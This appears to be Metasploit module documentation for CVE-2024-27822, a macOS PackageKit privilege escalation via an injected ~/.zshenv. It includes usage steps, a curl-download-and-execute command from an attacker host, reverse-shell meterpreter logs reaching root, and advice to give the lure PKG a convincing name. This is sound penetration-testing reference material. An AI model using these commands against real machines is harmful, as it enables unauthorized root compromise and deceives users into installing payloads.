## Vulnerable Application

CVE-2024-27822 is a local privilege escalation in macOS PackageKit.framework.
When `Installer.app` runs a PKG whose installation scripts use a `#!/bin/zsh` shebang,
PackageKit executes those scripts as **root** while inheriting the installing user's
environment. Because ZSH sources `~/.zshenv` on every startup — including when it is
invoked as a script interpreter — the user's `~/.zshenv` is loaded with root privileges
before the installer script body even runs.

An attacker with a non-privileged session can inject a payload into `~/.zshenv`, craft a
benign-looking PKG with a `#!/bin/zsh` postinstall script, and wait for the victim to
install it through the standard GUI installer. Once the user authenticates, the payload
executes as root.

Apple fixed the issue by patching both ZSH and Bash to skip loading user configuration
files when the `APPLE_PKGKIT_ESCALATING_ROOT` environment variable is set.

**Affected versions:**

| macOS release | Vulnerable through | Fixed in   |
|---------------|-------------------|------------|
| macOS 14 Sonoma | 14.4            | 14.5       |
| macOS 13 Ventura | 13.6.6         | 13.6.7     |
| macOS 12 Monterey | 12.7.4        | 12.7.5     |
| macOS 11 and older | all versions | N/A       |

## Verification Steps

1. Start `msfconsole`.
2. Obtain a non-root shell or meterpreter session on a vulnerable macOS host.
3. `use exploit/osx/local/packagekit_zshenv_privesc`
4. `set SESSION <id>`
5. `set LHOST <your IP>`
6. `run`
7. The module will inject into `~/.zshenv`, build a PKG in `/tmp`, and open Installer.app.
8. On the target machine, click **Continue** → **Install** and enter the user password.
9. A root shell session should open within the `ListenerTimeout` window.

## Options

### PKG_NAME

The file name (without extension) and display name used for the staged PKG file.
Defaults to `SoftwareUpdate`. A convincing name improves the social engineering aspect.

## Scenarios

### macOS 11.7.11

Original session

```
resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/home/h00die/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083
srvport => 8083
resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o
uripath => o
resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp
payload => osx/x64/meterpreter/reverse_tcp
resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447
lport => 4447
resource (/home/h00die/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4447 

[*] Using URL: http://1.1.1.1:8083/o
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output gqDix1gV http://1.1.1.1:8083/o; chmod +x gqDix1gV; ./gqDix1gV& disown
msf exploit(multi/script/web_delivery) > [*] 2.2.2.2     web_delivery - Delivering Payload (17204 bytes)
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (857592 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49452) at 2026-05-25 16:04:04 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer     : h00dies-MacBook-Pro.local
OS           : macOS Big Sur (macOS 11.7.11)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > background
[*] Backgrounding session 1...
```

Privilege Escalation

```
msf exploit(multi/script/web_delivery) > use exploit/osx/local/packagekit_zshenv_privesc 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(osx/local/packagekit_zshenv_privesc) > set session 1
session => 1      
msf exploit(osx/local/packagekit_zshenv_privesc) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf exploit(osx/local/packagekit_zshenv_privesc) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(osx/local/packagekit_zshenv_privesc) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. macOS 11.7.11 (11 and older) is vulnerable
[*] Injecting payload into /Users/h00die/.zshenv
[*] Uploading PKG: /tmp/SoftwareUpdate.pkg
[+] PKG uploaded: /tmp/SoftwareUpdate.pkg
[!] Opening Installer.app — the user must click Install and authenticate.
[*] Sending stage (23404 bytes) to 2.2.2.2
[+] Deleted /Users/h00die/.zshenv
[+] Deleted /tmp/SoftwareUpdate.pkg
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49454) at 2026-05-25 16:05:09 -0400

msf exploit(osx/local/packagekit_zshenv_privesc) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : h00dies-MacBook-Pro.local
OS              : Darwin 20.6.0 Darwin Kernel Version 20.6.0: Thu Jul  6 22:12:47 PDT 2023; root:xnu-7195.141.49.702.12~1/RELEASE_X86_64
Architecture    : x64
System Language : en_US
Meterpreter     : python/osx
```